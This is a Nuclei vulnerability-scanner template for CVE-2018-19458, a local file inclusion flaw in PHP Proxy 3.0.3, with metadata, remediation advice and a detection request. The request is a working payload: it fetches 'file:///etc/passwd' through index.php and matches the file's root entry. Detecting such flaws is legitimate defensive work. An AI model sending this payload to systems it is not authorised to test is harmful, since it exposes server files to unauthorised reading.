nuclei-templates/http/cves/2018/CVE-2018-19458.yaml

46 lines
1.5 KiB
YAML

id: CVE-2018-19458
info:
name: PHP Proxy 3.0.3 - Local File Inclusion
author: daffainfo
severity: high
description: |
PHP Proxy 3.0.3 is susceptible to local file inclusion vulnerabilities that allow unauthenticated users to read files from the server via index.php?q=file:/// (a different vulnerability than CVE-2018-19246).
remediation: |
Upgrade PHP Proxy to a version that is not affected by the vulnerability (3.0.4 or later) or apply the necessary patches provided by the vendor.
reference:
- https://www.exploit-db.com/exploits/45780
- https://pentest.com.tr/exploits/PHP-Proxy-3-0-3-Local-File-Inclusion.html
- https://nvd.nist.gov/vuln/detail/CVE-2018-19458
- https://www.exploit-db.com/exploits/45780/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2018-19458
cwe-id: CWE-287
epss-score: 0.09157
epss-percentile: 0.9403
cpe: cpe:2.3:a:php-proxy:php-proxy:3.0.3:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: php-proxy
product: php-proxy
tags: edb,cve,cve2018,lfi,proxy
http:
- method: GET
path:
- "{{BaseURL}}/index.php?q=file:///etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a00473045022070de5b595aefcc93f04e2360ed8172c2a68b63160f8d6b7d9f22e33c18dc2c87022100c0876f9568013feef32f104b879c8ec8b3505eaa5f404a07f6ca5cae89fe084c:922c64590222798bb761d5b6d8e72950